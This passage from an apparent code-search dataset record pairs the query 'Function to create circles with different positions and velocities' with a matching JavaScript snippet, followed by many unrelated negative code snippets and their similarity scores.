it as is\n } else if (str.includes(\":\") || str.includes(\"<#\")) {\n return str; // Case: input is a curie. Solution: return it as is\n } else if (str.charAt(0) == \"?\") {\n return str; // checks if input is a variable for deletion\n } else if (str.charAt(0) == '<' && str.charAt(str.length - 1) == '>') {\n var newStr = str.slice(1, -1); // Case: input is quoted uri. Solution: must be unquotted to be recognize as a uri by regexp\n return nonvalidatedObject(newStr);\n } else if (str.includes('\"') || str.includes(\"'\") || str.indexOf(' ') >= 0) {\n return formatLiteral(str); // Case: input is a quoted literal value\n } else if (isBlankNode(str)) {\n return str; // Case : blank node\n }\n else {\n return ':' + str; // Case: input is not a uri or a blank node. Solution: make it a relative uri\n }\n}","normalize( node ){\n var clone = node || this.DOM.input, //.cloneNode(true),\n v = [];\n\n // when a text was pasted in FF, the \"this.DOM.input\" element will have
    but no newline symbols (\\n), and this will\n // result in tags not being properly created if one wishes to create a separate tag per newline.\n clone.childNodes.forEach(n => n.nodeType==3 && v.push(n.nodeValue))\n v = v.join(\"\\n\")\n\n try{\n // \"delimiters\" might be of a non-regex value, where this will fail (\"Tags With Properties\" example in demo page):\n v = v.replace(/(?:\\r\\n|\\r|\\n)/g, this.settings.delimiters.source.charAt(0))\n }\n catch(err){}\n\n v = v.replace(/\\s/g, ' ') // replace NBSPs with spaces characters\n\n return this.trim(v)\n }","toObject() { throw new Error('virtual function called') }","function If_bound_literal_literal() {\r\n}","function decodeRaw(value, position, options) {\n return entities(value, xtend(options, {\n position: normalize(position),\n warning: handleWarning\n }));\n }","function decodeRaw(value, position, options) {\n return entities(value, xtend(options, {\n position: normalize(position),\n warning: handleWarning\n }));\n }","function decodeRaw(value, position, options) {\n return entities(value, xtend(options, {\n position: normalize(position),\n warning: handleWarning\n }));\n }","function decodeRaw(value, position, options) {\n return entities(value, xtend(options, {\n position: normalize(position),\n warning: handleWarning\n }));\n }"],"string":"[\n \"set Raw(value) {}\",\n \"get Raw() {}\",\n \"function Raw(){}\",\n \"get raw() { return this._raw; }\",\n \"get raw() { return this._raw; }\",\n \"callSite(values, raw) {\\n\\n values.raw = raw || values;\\n return values;\\n }\",\n \"protected internal function m252() {}\",\n \"get normalized() {}\",\n \"async normalize () {\\n\\t}\",\n \"function normal() {}\",\n \"get type() {\\n return 'raw';\\n }\",\n \"set normal(value) {}\",\n \"set normal(value) {}\",\n \"_encodeObject(object) {\\n return object.termType === 'Literal' ? this._encodeLiteral(object) : this._encodeIriOrBlank(object);\\n }\",\n \"function customHandling() { }\",\n \"set normalized(value) {}\",\n \"transient private protected internal function m182() {}\",\n \"function Surrogate(){}\",\n \"function Surrogate(){}\",\n \"function Surrogate(){}\",\n \"get Normal() {}\",\n \"transient protected internal function m189() {}\",\n \"static getRawObject(data) {\\n if (data && typeof data.toObject === 'function') {\\n return data.toObject();\\n }\\n return data;\\n }\",\n \"getRawInput(start, end) {\\n\\t\\t\\treturn this.input.slice(start.valueOf(), end.valueOf());\\n\\t\\t}\",\n \"get normal() {}\",\n \"get normal() {}\",\n \"function Bind_Oliteral() {\\r\\n}\",\n \"function r(e){return\\\"string\\\"==typeof e}\",\n \"function r(e){return\\\"string\\\"==typeof e}\",\n \"function set_raw(env) {\\n\\tenv._cmeta.raw = true;\\n}\",\n \"function Surrogate() {}\",\n \"private public function m246() {}\",\n \"function notValid_anySimpleType(strObj) {\\n\\treturn false;\\n }\",\n \"function validDataFormat(raw_data) {\\n return true;\\n }\",\n \"function decodeRaw(value, position) {\\n return entities(value, {\\n position: normalize(position),\\n warning: handleWarning\\n });\\n }\",\n \"function decodeRaw(value, position) {\\n return entities(value, {\\n position: normalize(position),\\n warning: handleWarning\\n });\\n }\",\n \"set Normal(value) {}\",\n \"transient private internal function m185() {}\",\n \"function handle_entity( raw ) {\\n raw = _.isObject( raw ) ? raw : {}\\n \\n if( raw.entity$ ) {\\n return seneca.make$( raw )\\n }\\n else {\\n _.each( raw, function(v,k) {\\n if( _.isObject(v) && v.entity$ ) {\\n raw[k] = seneca.make$( v )\\n }\\n })\\n return raw\\n }\\n }\",\n \"static get sanitize() {\\n return {\\n title: false,\\n text: {\\n br: true,\\n a: { href: true },\\n b: true,\\n i: true,\\n },\\n action: false,\\n link: false,\\n }\\n }\",\n \"function inflateRaw(input,options){options=options||{};options.raw=true;return inflate$1(input,options);}\",\n \"function Bind_A_Oliteral() {\\r\\n}\",\n \"function freezeRaw(raw) {\\n if (Array.isArray(raw)) {\\n return Array.prototype.slice.call(raw);\\n }\\n return raw;\\n }\",\n \"transient final protected internal function m174() {}\",\n \"raw() {\\n return this.data;\\n }\",\n \"formatToPrimitive(entity, args) {\\n // optimize entities which are simple strings by skipping resultion\\n if (typeof entity === 'string') {\\n return [entity, []];\\n }\\n\\n // optimize entities with null values and no default traits\\n if (!entity.val && entity.traits && !(entity.traits.some(t => t.def))) {\\n return [null, []];\\n }\\n\\n const result = format(this, args, entity, optsPrimitive);\\n return (result[0] instanceof FTLNone) ?\\n [null, result[1]] : result;\\n }\",\n \"obtain(){}\",\n \"function VIEWAS_boring_default(obj) {\\n //tabulator.log.debug(\\\"entered VIEWAS_boring_default...\\\");\\n var rep; //representation in html\\n\\n if (obj.termType == 'literal')\\n {\\n var styles = { 'integer': 'text-align: right;',\\n 'decimal': 'text-align: \\\".\\\";',\\n 'double' : 'text-align: \\\".\\\";',\\n };\\n rep = myDocument.createElement('span');\\n rep.textContent = obj.value;\\n // Newlines have effect and overlong lines wrapped automatically\\n var style = '';\\n if (obj.datatype && obj.datatype.uri) {\\n var xsd = tabulator.ns.xsd('').uri;\\n if (obj.datatype.uri.slice(0, xsd.length) == xsd)\\n style = styles[obj.datatype.uri.slice(xsd.length)];\\n }\\n rep.setAttribute('style', style ? style : 'white-space: pre-wrap;');\\n\\n } else if (obj.termType == 'symbol' || obj.termType == 'bnode') {\\n rep = myDocument.createElement('span');\\n rep.setAttribute('about', obj.toNT());\\n thisOutline.appendAccessIcons(kb, rep, obj);\\n\\n if (obj.termType == 'symbol') {\\n if (obj.uri.slice(0,4) == 'tel:') {\\n var num = obj.uri.slice(4);\\n var anchor = myDocument.createElement('a');\\n rep.appendChild(myDocument.createTextNode(num));\\n anchor.setAttribute('href', obj.uri);\\n anchor.appendChild(tabulator.Util.AJARImage(tabulator.Icon.src.icon_telephone,\\n 'phone', 'phone '+num,myDocument))\\n rep.appendChild(anchor);\\n anchor.firstChild.setAttribute('class', 'phoneIcon');\\n } else { // not tel:\\n rep.appendChild(myDocument.createTextNode(tabulator.Util.label(obj)));\\n }\\n } else { // bnode\\n rep.appendChild(myDocument.createTextNode(tabulator.Util.label(obj)));\\n }\\n } else if (obj.termType=='collection'){\\n // obj.elements is an array of the elements in the collection\\n rep = myDocument.createElement('table');\\n rep.setAttribute('about', obj.toNT());\\n /* Not sure which looks best -- with or without. I think without\\n\\n var tr = rep.appendChild(document.createElement('tr'));\\n tr.appendChild(document.createTextNode(\\n obj.elements.length ? '(' + obj.elements.length+')' : '(none)'));\\n */\\n for (var i=0; i decode(input).mapLeft(Error).unsafeCoerce(),\\r\\n schema: schema !== null && schema !== void 0 ? schema : (() => ({}))\\r\\n };\\r\\n }\",\n \"function isRawPostcodeObject(o, additionalAttr, blackListedAttr) {\\n\\tif (!additionalAttr) additionalAttr = [];\\n\\tif (!blackListedAttr) blackListedAttr = [];\\n\\tisSomeObject(o, rawPostcodeAttributes, additionalAttr, blackListedAttr);\\n}\",\n \"function w(e) {\\n var t = C(e);\\n switch (t) {\\n case \\\"array\\\":\\n case \\\"object\\\":\\n return \\\"an \\\" + t;\\n\\n case \\\"boolean\\\":\\n case \\\"date\\\":\\n case \\\"regexp\\\":\\n return \\\"a \\\" + t;\\n\\n default:\\n return t;\\n }\\n }\",\n \"function processRaw(raw, type, lastModified, cb) {\\n var json;\\n try {\\n switch (type.slice(0, 1)) {\\n case 'x':\\n // json = xml2json.toJson(raw, { object: true, coerce: true, trim: true, sanitize: false, reversible: true });\\n break;\\n case 'h':\\n\\n xray(raw, 'li.shopBrandItem', [{\\n name: 'a',\\n url: 'a@href',\\n }])\\n (function(err, data) {\\n if (err) {\\n console.log('Error: ' + err);\\n } else {\\n // console.log(data);\\n json = data;\\n }\\n });\\n\\n break;\\n case 'j':\\n json = JSON.parse(raw);\\n break;\\n default:\\n json = {\\n text: '' + raw\\n };\\n }\\n } catch (e) {\\n return cb(tidyError(e));\\n }\\n\\n cb(null, json, lastModified || 0);\\n }\",\n \"get interpretation () {\\r\\n\\t\\treturn this._interpretation;\\r\\n\\t}\",\n \"function oi(a){this.Of=a;this.rg=\\\"\\\"}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"raw() {\\n\\t\\treturn this[MAP];\\n\\t}\",\n \"function PlatForm() {}\",\n \"function stringRepresentation(value) {\\n switch (value[0]) {\\n case \\\"Num\\\": \\n\\treturn getNumValue(value);\\n case \\\"Clo\\\":\\n\\treturn;\\n }\\n}\",\n \"function s(e){return e}\",\n \"process(raw_item) {\\n return raw_item;\\n }\",\n \"function isRaw(cell) {\\n return cell.cell_type === 'raw';\\n }\",\n \"function w(e) {\\n var t = C(e);\\n switch (t) {\\n case \\\"array\\\":\\n case \\\"object\\\":\\n return \\\"an \\\" + t;\\n\\n case \\\"boolean\\\":\\n case \\\"date\\\":\\n case \\\"regexp\\\":\\n return \\\"a \\\" + t;\\n\\n default:\\n return t;\\n }\\n }\",\n \"function nonvalidatedObject() {\\n var str = gAppState.checkValue(\\\"objectID\\\", \\\"objectID2\\\");\\n\\n if (regexp.test(str) && !isBlankNode(str)) {\\n return '<' + str + '>'; // Case: input is a uri. Solution: quote it\\n } else if (str.charAt(0) == \\\"#\\\") {\\n return '<' + str + '>'; // Case: input is an unquoted relative uri. Solution: quote it\\n } else if (str.charAt(0) == '<' && str.charAt(1) == '#' && str.charAt(str.length - 1) == '>') {\\n return str; // Case: input is already a relative uri. Solution: return it as is\\n } else if (str.includes(\\\":\\\") || str.includes(\\\"<#\\\")) {\\n return str; // Case: input is a curie. Solution: return it as is\\n } else if (str.charAt(0) == \\\"?\\\") {\\n return str; // checks if input is a variable for deletion\\n } else if (str.charAt(0) == '<' && str.charAt(str.length - 1) == '>') {\\n var newStr = str.slice(1, -1); // Case: input is quoted uri. Solution: must be unquotted to be recognize as a uri by regexp\\n return nonvalidatedObject(newStr);\\n } else if (str.includes('\\\"') || str.includes(\\\"'\\\") || str.indexOf(' ') >= 0) {\\n return formatLiteral(str); // Case: input is a quoted literal value\\n } else if (isBlankNode(str)) {\\n return str; // Case : blank node\\n }\\n else {\\n return ':' + str; // Case: input is not a uri or a blank node. Solution: make it a relative uri\\n }\\n}\",\n \"normalize( node ){\\n var clone = node || this.DOM.input, //.cloneNode(true),\\n v = [];\\n\\n // when a text was pasted in FF, the \\\"this.DOM.input\\\" element will have
    but no newline symbols (\\\\n), and this will\\n // result in tags not being properly created if one wishes to create a separate tag per newline.\\n clone.childNodes.forEach(n => n.nodeType==3 && v.push(n.nodeValue))\\n v = v.join(\\\"\\\\n\\\")\\n\\n try{\\n // \\\"delimiters\\\" might be of a non-regex value, where this will fail (\\\"Tags With Properties\\\" example in demo page):\\n v = v.replace(/(?:\\\\r\\\\n|\\\\r|\\\\n)/g, this.settings.delimiters.source.charAt(0))\\n }\\n catch(err){}\\n\\n v = v.replace(/\\\\s/g, ' ') // replace NBSPs with spaces characters\\n\\n return this.trim(v)\\n }\",\n \"toObject() { throw new Error('virtual function called') }\",\n \"function If_bound_literal_literal() {\\r\\n}\",\n \"function decodeRaw(value, position, options) {\\n return entities(value, xtend(options, {\\n position: normalize(position),\\n warning: handleWarning\\n }));\\n }\",\n \"function decodeRaw(value, position, options) {\\n return entities(value, xtend(options, {\\n position: normalize(position),\\n warning: handleWarning\\n }));\\n }\",\n \"function decodeRaw(value, position, options) {\\n return entities(value, xtend(options, {\\n position: normalize(position),\\n warning: handleWarning\\n }));\\n }\",\n \"function decodeRaw(value, position, options) {\\n return entities(value, xtend(options, {\\n position: normalize(position),\\n warning: handleWarning\\n }));\\n }\"\n]"},"negative_scores":{"kind":"list like","value":["0.6127074","0.60859853","0.6042301","0.59349465","0.59349465","0.5480133","0.5360717","0.52917254","0.52516854","0.52384514","0.5226667","0.51880723","0.51880723","0.509369","0.5085544","0.5026419","0.50058883","0.5000224","0.5000224","0.5000224","0.4956932","0.4956258","0.49322712","0.49296835","0.4922578","0.4922578","0.48932296","0.4868307","0.4868307","0.4864497","0.48508164","0.4850324","0.48481762","0.4832611","0.482476","0.482476","0.48177245","0.47992194","0.4799078","0.4794765","0.4786253","0.47777787","0.47686103","0.47667104","0.47633514","0.47504666","0.47497502","0.4739698","0.47318769","0.47211438","0.4707584","0.47063422","0.46980357","0.46980307","0.46911046","0.4684859","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.4678201","0.46775782","0.46771067","0.4675192","0.46502492","0.46488026","0.4648426","0.46379325","0.46356246","0.46332482","0.46270555","0.46210107","0.46210107","0.46210107","0.46210107"],"string":"[\n \"0.6127074\",\n \"0.60859853\",\n \"0.6042301\",\n \"0.59349465\",\n \"0.59349465\",\n \"0.5480133\",\n \"0.5360717\",\n \"0.52917254\",\n \"0.52516854\",\n \"0.52384514\",\n \"0.5226667\",\n \"0.51880723\",\n \"0.51880723\",\n \"0.509369\",\n \"0.5085544\",\n \"0.5026419\",\n \"0.50058883\",\n \"0.5000224\",\n \"0.5000224\",\n \"0.5000224\",\n \"0.4956932\",\n \"0.4956258\",\n \"0.49322712\",\n \"0.49296835\",\n \"0.4922578\",\n \"0.4922578\",\n \"0.48932296\",\n \"0.4868307\",\n \"0.4868307\",\n \"0.4864497\",\n \"0.48508164\",\n \"0.4850324\",\n \"0.48481762\",\n \"0.4832611\",\n \"0.482476\",\n \"0.482476\",\n \"0.48177245\",\n \"0.47992194\",\n \"0.4799078\",\n \"0.4794765\",\n \"0.4786253\",\n \"0.47777787\",\n \"0.47686103\",\n \"0.47667104\",\n \"0.47633514\",\n \"0.47504666\",\n \"0.47497502\",\n \"0.4739698\",\n \"0.47318769\",\n \"0.47211438\",\n \"0.4707584\",\n \"0.47063422\",\n \"0.46980357\",\n \"0.46980307\",\n \"0.46911046\",\n \"0.4684859\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.4678201\",\n \"0.46775782\",\n \"0.46771067\",\n \"0.4675192\",\n \"0.46502492\",\n \"0.46488026\",\n \"0.4648426\",\n \"0.46379325\",\n \"0.46356246\",\n \"0.46332482\",\n \"0.46270555\",\n \"0.46210107\",\n \"0.46210107\",\n \"0.46210107\",\n \"0.46210107\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":33,"cells":{"query":{"kind":"string","value":"Function to create circles with different positions and velocities"},"document":{"kind":"string","value":"function create_circle() {\n\t\t//Random Position\n\t\tthis.x = Math.random()*W;\n\t\tthis.y = Math.random()*H;\n\t\t\n\t\t//Random Velocities\n\t\tthis.vx = 0.1+Math.random()*1;\n\t\tthis.vy = -this.vx;\n\t\t\n\t\t//Random Radius\n\t\tthis.r = 10 + Math.random()*50;\n\t}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function createCircles() {\n \n \tconst dTheta = 0.5*2.43;\n \n \tlet c1 = new OrthoganalCircle(0,dTheta);\n \tlet c2 = new OrthoganalCircle(TWO_PI/3,dTheta);\n \tlet c3 = new OrthoganalCircle(2*TWO_PI/3,dTheta);\n\n \tcircles = [c1,c2,c3]; \n \n}","createCircle() {\n const particle = [];\n\n for (let i = 0; i < this.numParticles; i++) {\n const color = this.colors[~~(Particles.rand(0, this.colors.length))];\n\n particle[i] = {\n radius: Particles.rand(this.minRadius, this.maxRadius),\n xPos: Particles.rand(0, this.canvas.width),\n yPos: Particles.rand(0, this.canvas.height),\n xVelocity: Particles.rand(this.minSpeed, this.maxSpeed),\n yVelocity: Particles.rand(this.minSpeed, this.maxSpeed),\n color: 'rgba(' + color + ',' + Particles.rand(this.minOpacity, this.maxOpacity) + ')'\n }\n\n //once values are determined, draw particle on canvas\n this.draw(particle, i);\n }\n //...and once drawn, animate the particle\n this.animate(particle);\n }","function Circle(position, move, color) {\nthis.position = createVector(position.x, position.y);\nthis.speed = createVector(move.x, move.y);\nthis.move2 = random(0);\nthis.life = 200;\n}","function Circle(x, y) {\r\n this.position = createVector(x, y); // Position of the circles\r\n this.getColor = floor(random(360)); // Random color of the circles. floor() rounds the random number down to the closest int.\r\n this.speed = random(-1, -3); // Randomized speed that only goes up\r\n this.sway = random(-2, 2); // An experimental speed for the x position, wasn't used in the end\r\n this.d = random(25,100); // The size of the circles is random\r\n\r\n this.show = function() {\r\n if(startCol == 0) {\r\n fill(this.getColor, 100, 100); // Fills with a random color\r\n this.getColor+=colorSpeed; // The color will change over time\r\n\r\n\t\t\tif (this.getColor >= 360) {\r\n\t\t\t\tthis.getColor = 0;\r\n\t\t\t}\r\n }\r\n\r\n this.move = function() {\r\n this.position.y += this.speed; // The random speed for the Circle\r\n //this.position.x += this.sway; // If this is activated the circles will go in directions other than straight\r\n }\r\n\r\n ellipse(this.position.x, this.position.y, this.d, this.d); // The circles are drawn\r\n }\r\n}","function CreateCircle(x, y, radius, option, rate) {\n return Matter.Bodies.circle(x * rate, y * rate, radius * rate, option);\n}","function setupCircles(){\n\n var delay=0;\n var i = 0;\n for(var radius=canvasDiagonalFromCenter; radius>0; radius-=10){\n var circle = new Circle(radius, 0*Math.PI + i , 2*Math.PI + i ,0,0,delay,inputSpeed,inputAcceleration);\n circles.push(circle);\n delay+=delayIncrements;\n i+= 0.3*Math.PI;\n }\n drawAndUpdateCircles();\n}","function Circles(x, y, size)\r\n{\r\n this.x = x;\r\n this.y = y;\r\n this.size = size;\r\n this.shape = 'circle';\r\n}","function circle(x,y,xVel,yVel,r,m)\n{\n\tthis.x=x;\n\tthis.y=y;\n\tthis.xVel=xVel;\n\tthis.yVel=yVel;\n\tthis.mass=m;\n\tthis.r=r;\n\t\n\tthis.moveSpeed=2;\n\n}","function buildCircleScene() {\n var posOrig = new THREE.Vector2(0, 0, 0); \n var posTarget = new THREE.Vector2(0, 0, 0); \n var num = sceneData.nAgents;\n var radius = 4;\n\n positionsArray = new Array();\n\n for (var i = 0; i < num; i++) {\n // circle shape\n var theta = 2*M_PI/num * i;\n var xLoc = radius * Math.cos(theta);\n var zLoc = radius * Math.sin(theta);\n var xLocDest = radius * Math.cos(theta + M_PI);\n var zLocDest = radius * Math.sin(theta + M_PI);\n\n posOrig = new THREE.Vector3(xLoc, zLoc);\n posTarget = new THREE.Vector3(xLocDest, zLocDest);\n\n positionsArray.push(posOrig);\n positionsArray.push(posTarget);\n }\n}","function drawCircles() {\n for (var i = 0; i < numCircles; i++) {\n var randomX = Math.round(-100 + Math.random() * 704);\n var randomY = Math.round(-100 + Math.random() * 528);\n var speed = 1 + Math.random() * 3;\n var size = 1 + Math.random() * circleSize;\n\n var circle = new Circle(speed, size, randomX, randomY);\n circles.push(circle);\n }\n update();\n }","function addCircles(num){\r\n\tfor(var i=0; i 0 && arguments[0] !== undefined ? arguments[0] : 0.0;var centerY = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0.0;var radius = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 1.0;var style = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : DefaultStyle.clone();var tessSegments = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : 20;_classCallCheck(this, Circle);\n _this6 = _possibleConstructorReturn(this, _getPrototypeOf(Circle).call(this, style));\n\n _this6.polygon = new Polygon([], style);\n\n // Force polygon.id to be the same, so that its geometry is associated with this Circle.\n // This is a bit hacky, but can be removed as soon as we use native arcs for circle rendering.\n _this6.polygon.id = _this6.id;\n\n _this6.centerX = centerX;\n _this6.centerY = centerY;\n _this6.radius = radius;\n _this6.tessSegments = tessSegments;\n\n _this6.needsUpdate = true;return _this6;\n }","function circle(self, xpos, ypos, radius) {\n let positions = [];\n let deltas = bfsDeltas[radius];\n let deltaLength = deltas.length;\n for (let k = 0; k < deltaLength; k++) {\n \n let nx = xpos + deltas[k][0];\n let ny = ypos + deltas[k][1];\n //self.log(`circle xy: ${xpos}, ${ypos}; NEW: ${nx}, ${ny}`);\n if (inArr(nx,ny, self.map)){\n positions.push([nx,ny]);\n }\n }\n return positions;\n}","function createCircle(radius) {\n return {\n radius,\n draw: function () {}\n }\n}","function createCircle(cx, cy, radius) {\n let a1 = new Arc();\n a1.startX = cx + radius;\n a1.startY = cy;\n a1.endX = cx - radius;\n a1.endY = cy;\n a1.radiusX = radius;\n a1.radiusY = radius;\n\n let a2 = new Arc();\n a2.startX = cx - radius;\n a2.startY = cy;\n a2.endX = cx + radius;\n a2.endY = cy;\n a2.radiusX = radius;\n a2.radiusY = radius;\n\n return [a1, a2];\n}","function addNewCircle() {\n\n // circles can expose in 3 position,\n // bottom-left corner, bottom-right corner and bottom center.\n const entrances = [\"bottomRight\", \"bottomCenter\", \"bottomLeft\"];\n // I take one of entrances randomly as target entrance\n const targetEntrance = entrances[rndNum(entrances.length, 0, true)];\n\n // we have 5 different gradient to give each\n // circle a different appearance. each item\n // in below array has colors and offset of gradient.\n const possibleGradients = [\n [\n [0, \"rgba(238,31,148,0.14)\"],\n [1, \"rgba(238,31,148,0)\"]\n ],\n [\n [0, \"rgba(213,136,1,.2)\"],\n [1, \"rgba(213,136,1,0)\"]\n ],\n [\n [.5, \"rgba(213,136,1,.2)\"],\n [1, \"rgba(213,136,1,0)\"]\n ],\n [\n [.7, \"rgba(255,254,255,0.07)\"],\n [1, \"rgba(255,254,255,0)\"]\n ],\n [\n [.8, \"rgba(255,254,255,0.05)\"],\n [.9, \"rgba(255,254,255,0)\"]\n ]\n ];\n // I take one of gradients details as target gradient details\n const targetGrd = possibleGradients[rndNum(possibleGradients.length, 0, true)];\n\n // each circle should have a radius. and it will be\n // a random number between three and four quarters of canvas-min side\n const radius = rndNum(canvasMin / 3, canvasMin / 4);\n\n // this will push the created Circle to the circles array\n circles.push(new Circle(targetEntrance, radius, targetGrd))\n}","function createCircle(x,y)\n{\n\t//each segment of the circle is its own circle svg, placed in an array\n\tvar donuts = new Array(9)\n\t\n\t//loop through the array\n\tfor (var i=0;i<9;i++){\n\t\tdonuts[i]=document.createElementNS(\"http://www.w3.org/2000/svg\",\"circle\");\n\t\tdonuts[i].setAttributeNS(null,\"id\",\"d\".concat(i.toString()));\n\t\tdonuts[i].setAttributeNS(null,\"cx\",parseInt(x));\n donuts[i].setAttributeNS(null,\"cy\",parseInt(y));\n\t\tdonuts[i].setAttributeNS(null,\"fill\",\"transparent\");\n\t\tdonuts[i].setAttributeNS(null,\"stroke-width\",3);\n\t\t//each ring of circles has different radius values, and dash-array values\n\t\t//dash array defines what percentage of a full circle is being drawn\n\t\t//for example the inner circle has a radius of 15.91549, 2*pi*15.91549\n\t\t//gives a circumfrence of 100 pixels for the circle, so defining the dasharray as 31 69 means that 31% of 100 pixels is drawn, and 69% is transparent.\n\t\tif (i<3){\n\t\t\t\t\tdonuts[i].setAttributeNS(null,\"r\",15.91549);\n\t\t\t\t\tdonuts[i].setAttributeNS(null,\"stroke-dasharray\",\"31 69\");\n\t\t}\n\t\t//middle ring\n\t\telse if (i<6){\n\t\t\tdonuts[i].setAttributeNS(null,\"r\",19.853);\n\t\t\tdonuts[i].setAttributeNS(null,\"stroke-dasharray\",\"39.185019 85.555059\");\n\t\t}\n\t\t//outer ring\n\t\telse{\n\t\t\tdonuts[i].setAttributeNS(null,\"r\",23.76852);\n\t\t\tdonuts[i].setAttributeNS(null,\"stroke-dasharray\",\"47.335504 102.006512\");\n\t\t}\n\t\t//each point is added to the points SVGs, use insertBefore so that it is drawn below the points rather than above, which allows for click events to still occur\n\t\t document.getElementById(\"points\").insertBefore(donuts[i],document.getElementById(\"points\").childNodes.item(0));\n\t}\n\t//each point has its own colour, dash offset and class. Dash offset is how far from the starting point (top of the circle) to begin drawing the segment\n\t//each class relates to a different css animation because each animation has a different starting point. Animations are defined in component.css\ndonuts[0].setAttributeNS(null,\"stroke-dashoffset\",\"58.33333\" );\n\t\t\t\t\t\tdonuts[0].setAttributeNS(null,\"class\",\"spin1\");\ndonuts[1].setAttributeNS(null,\"stroke-dashoffset\",\"25\");\n\t\t\t\t\t\t\tdonuts[1].setAttributeNS(null,\"class\",\"spin2\");\ndonuts[2].setAttributeNS(null,\"stroke-dashoffset\",\"91.66667\" );\n\t\t\t\t\t\t\tdonuts[2].setAttributeNS(null,\"class\",\"spin3\");\ndonuts[3].setAttributeNS(null,\"stroke-dashoffset\",\"41.18502\" );\n\tdonuts[3].setAttributeNS(null,\"class\",\"spin4\");\ndonuts[4].setAttributeNS(null,\"stroke-dashoffset\",\"82.76505\" );\n\tdonuts[4].setAttributeNS(null,\"class\",\"spin5\");\ndonuts[5].setAttributeNS(null,\"stroke-dashoffset\",\"124.34508\");\n\tdonuts[5].setAttributeNS(null,\"class\",\"spin6\");\ndonuts[6].setAttributeNS(null,\"stroke-dashoffset\",\"56.3355\");\n\tdonuts[6].setAttributeNS(null,\"class\",\"spin7\");\ndonuts[7].setAttributeNS(null,\"stroke-dashoffset\",\"106.11618\");\n\tdonuts[7].setAttributeNS(null,\"class\",\"spin8\");\ndonuts[8].setAttributeNS(null,\"stroke-dashoffset\",\"155.89685\");\n\tdonuts[8].setAttributeNS(null,\"class\",\"spin9\");\ndonuts[0].setAttributeNS(null,\"stroke\",\"#115D6B\");\ndonuts[1].setAttributeNS(null,\"stroke\",\"#D90981\");\ndonuts[2].setAttributeNS(null,\"stroke\",\"#4A3485\");\ndonuts[3].setAttributeNS(null,\"stroke\",\"#F51424\");\ndonuts[4].setAttributeNS(null,\"stroke\",\"#0BA599\");\ndonuts[5].setAttributeNS(null,\"stroke\",\"#1077B5\");\ndonuts[6].setAttributeNS(null,\"stroke\",\"#FA893D\");\ndonuts[7].setAttributeNS(null,\"stroke\",\"#87C537\");\ndonuts[8].setAttributeNS(null,\"stroke\",\"#02B3EE\");\n}","function circle(x, y, px, py) {\n //this is the speed part making the size be determined by speed of mouse\n var distance = abs(x-px) + abs(y-py);\n stroke(r, g, b);\n strokeWeight(2);\n //first set of variables for bigger circle\n r = random(255);\n g = random(255);\n b = random(255);\n\n//second set of colours so the inner circle is different colour or else it is the same\n r2 = random(255);\n g2 = random(255);\n b2 = random(255);\n //this is the big circle\n fill(r, g, b);\n ellipse(x, y, distance, distance);\n //this is the smaller inner circle\n fill(r2, g2, b2);\n ellipse(x, y, distance/2, distance/2);\n}","function drawCircle(radius, x, y) { svg.append(\"circle\").attr(\"fill\", \"red\").attr(\"r\", 